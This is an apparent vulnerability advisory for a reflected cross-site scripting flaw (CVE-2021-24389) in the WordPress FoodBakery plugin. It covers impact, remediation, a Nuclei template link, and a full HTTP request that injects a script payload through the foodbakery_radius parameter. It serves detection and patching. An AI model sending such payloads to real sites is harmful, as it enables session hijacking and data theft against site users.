🔙 목록으로 돌아가기

CVE-2021-24389: WordPress FoodBakery <2.2 - Cross-Site Scripting

TitleWordPress FoodBakery <2.2 - Cross-Site Scripting
Authordaffainfo
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
RemediationUpdate the WordPress FoodBakery plugin to version 2.2 or later to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.13968
CVE IDCVE-2021-24389
CWE IDCWE-79
Tags cve2021 cve wordpress xss wp-plugin wpscan chimpgroup vuln

🔍 Vulnerability Description

WordPress FoodBakery before 2.2 contains an unauthenticated reflected cross-site scripting vulnerability. It does not properly sanitize the foodbakery_radius parameter before outputting it back in the response.

🌐 HTTP Request

GET /listings/?search_title&location&foodbakery_locations_position=filter&search_type=autocomplete&foodbakery_radius=10%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24389.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24389.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A